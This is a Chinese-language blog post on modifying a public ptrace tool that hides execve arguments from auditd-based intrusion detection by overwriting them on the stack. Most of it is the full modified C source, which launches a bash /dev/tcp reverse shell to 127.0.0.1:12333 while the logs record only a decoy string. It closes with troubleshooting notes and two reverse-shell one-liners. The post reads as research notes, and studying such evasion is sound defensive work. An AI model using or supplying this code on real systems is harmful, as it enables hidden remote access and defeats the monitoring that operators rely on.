记一次QAX A Team Ptrace改造以及reverse shell中的踩坑 2020-08-23 06:49:36 Steven Xeldax ptrace这个项目其实出现已经很久了,之前在调研基于auditd的一些HIDS绕过的时候有用过这个项目,原理上是利用ptrace来修改堆栈空间上的数据来模糊化execve调用的传参。 项目地址: > https://github.com/QAX-A-Team/ptrace 最近突然有问到这个项目发现当时只是简单跑了下,并没有解决demo暂时不支持超过7个字符的参数这个问题。本篇特此记录下整个ptrace采坑的过程。 ### ptrace 运行环境: ubuntu 18.04 把代码pull下来我们首先直接跑下  看下源代码发现只赋值了一次所以会存在7位的限制  我们只需要反复调用PTRACE_POKETEXT就可以超过7位了,修改后ptrace源代码 ``` #include "ptrace.h" #include "anonyexec.h" #include "elfreader.h" #include "common.h" int main(int argc, char *argv[], char *envp[]) { pid_t child = 0; long addr = 0, argaddr = 0; int status = 0, i = 0, arc = 0; struct user_regs_struct regs; union { long val; char chars[sizeof(long)*3]; } data; char *args[] = { "/bin/bash", "-c", "/bin/sh >& /dev/tcp/127.0.0.1/12333 0>&1 &", NULL }; uint64_t entry = elfentry(args[0]); //_start: entry point child = fork(); IFMSG(child == -1, 0, "fork"); IF(child == 0, proc_child(args[0], args)); MSG("child pid = %d\r\n", child); while(1) { wait(&status); if(WIFEXITED(status)) break; ptrace(PTRACE_GETREGS, child, NULL, ®s); if(regs.rip == entry) { MSG("EIP: _start %llx \r\n", regs.rip); MSG("RSP: %llx\r\n", regs.rsp); MSG("RSP + 8 => RDX(char **ubp_av) to __libc_start_main\r\n"); //解析堆栈数据,栈顶为int argc addr = regs.rsp; arc = ptrace(PTRACE_PEEKTEXT, child, addr, NULL); MSG("argc: %d\r\n", arc); //POP ESI后栈顶为char **ubp_av, 同时可见此指针数组存储在堆栈之上 addr += 8; //开始解析和修改参数 MSG("asd: %i",arc); for(i = 1;i < arc;i ++) { argaddr = ptrace(PTRACE_PEEKTEXT, child, addr + (i * sizeof(void*)), NULL); data.val = ptrace(PTRACE_PEEKTEXT, child, argaddr, NULL); MSG("src: ubp_av[%d]: %s\r\n", i, data.chars); MSG("dst: upb_av[%d]: %s\r\n", i, args[i]); //修改参数指针指向的内容,demo暂时不支持超过7个字符的参数 strncpy(data.chars, args[i], sizeof(long)*3); ptrace(PTRACE_POKETEXT, child, argaddr, data.val); if(i==2){ int length = strlen(args[2]); int iii=0; MSG("length: %i",length); for(iii=0;iii<=(length/8+1);iii++){ strncpy(data.chars, args[i]+8*iii, sizeof(long)); MSG("ddd: %c",data.val); ptrace(PTRACE_POKETEXT, child, argaddr+8*iii, data.val); } } } ptrace(PTRACE_CONT, child, NULL, NULL); ptrace(PTRACE_DETACH, child, NULL, NULL); break; } ptrace(PTRACE_SINGLESTEP, child, NULL, NULL); } return 0; } static char *encryptedarg = "3abb6677af34ac57c0ca5828fd94f9d886c" "26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523" "eed7511e5a9e4b8ccb3a4686"; int proc_child(const char *path, char *argv[]) { int i = 1; ptrace(PTRACE_TRACEME, 0, NULL, NULL); for(i = 1;argv[i] != NULL;i ++) argv[i] = encryptedarg; anonyexec(path, argv); return 0; } ``` ### bash -i 与 bash reverse shell的坑  发现没办法反弹shell 但是如果去掉-i就可以了  bash -i 为交互式模式不能使用& 进入后台,而ptrace的程序会exit,所以必须要让reverse shell的命令处于后台,随意对于需要后台运行的程序不能使用交互模式来做。 > /bin/sh >& /dev/tcp/127.0.0.1/12333 0>&1 & > /bin/bash >& /dev/tcp/127.0.0.1/12333 0>&1 &